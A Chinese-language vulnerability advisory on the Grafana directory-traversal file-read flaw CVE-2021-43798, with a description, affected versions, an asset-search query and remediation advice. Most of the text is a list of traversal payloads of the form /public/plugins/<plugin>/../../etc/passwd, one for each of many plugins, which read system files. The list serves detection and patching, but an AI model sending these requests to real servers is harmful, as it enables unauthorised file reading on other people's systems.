Grafana文件读取漏洞（CVE-2021-43798）
遵纪守法
任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得危害网络安全，不得利用网络从事危害国家安全、荣誉和利益
漏洞描述
Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后，Grafana可以在网络浏览器里显示数据图表和警告。2021年12月6日，国外安全研究人员披露Grafana中某些接口在提供静态文件时，攻击者通过构造恶意请求，可造成目录遍历，读取系统上的文件。
风险等级
高危
影响版本
Grafana 8.x 系列
资产确定
app="grafana"
漏洞检测
检测脚本
https://github.com/j-jasson/CVE-2021-43798-grafana_fileread
plugins
text
alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timelinepayload
/public/plugins/alertlist/../../../../../../../../../../../etc/passwd
/public/plugins/annolist/../../../../../../../../../../../etc/passwd
/public/plugins/grafana-azure-monitor-datasource/../../../../../../../../../../../etc/passwd
/public/plugins/barchart/../../../../../../../../../../../etc/passwd
/public/plugins/bargauge/../../../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../../../etc/passwd
/public/plugins/gauge/../../../../../../../../../../../etc/passwd
/public/plugins/geomap/../../../../../../../../../../../etc/passwd
/public/plugins/gettingstarted/../../../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../../../etc/passwd
/public/plugins/histogram/../../../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../../../etc/passwd
/public/plugins/jaeger/../../../../../../../../../../../etc/passwd
/public/plugins/logs/../../../../../../../../../../../etc/passwd
/public/plugins/loki/../../../../../../../../../../../etc/passwd
/public/plugins/mssql/../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../etc/passwd
/public/plugins/news/../../../../../../../../../../../etc/passwd
/public/plugins/nodeGraph/../../../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../../../etc/passwd
/public/plugins/piechart/../../../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../../../etc/passwd
/public/plugins/stat/../../../../../../../../../../../etc/passwd
/public/plugins/state-timeline/../../../../../../../../../../../etc/passwd
/public/plugins/status-history/../../../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../../../etc/passwd
/public/plugins/table-old/../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../../../etc/passwd
/public/plugins/testdata/../../../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../etc/passwd
/public/plugins/timeseries/../../../../../../../../../../../etc/passwd
/public/plugins/welcome/../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../../../etc/passwd开始检测
验证，成功读取文件。
修复方案
v8.0.0-beta1 和 v8.3.0 之间的所有安装都应尽快升级。
如果无法升级，在 Grafana 前运行反向代理来规范化请求的 PATH 将缓解该漏洞。例如，envoy 中的normalize_path设置。
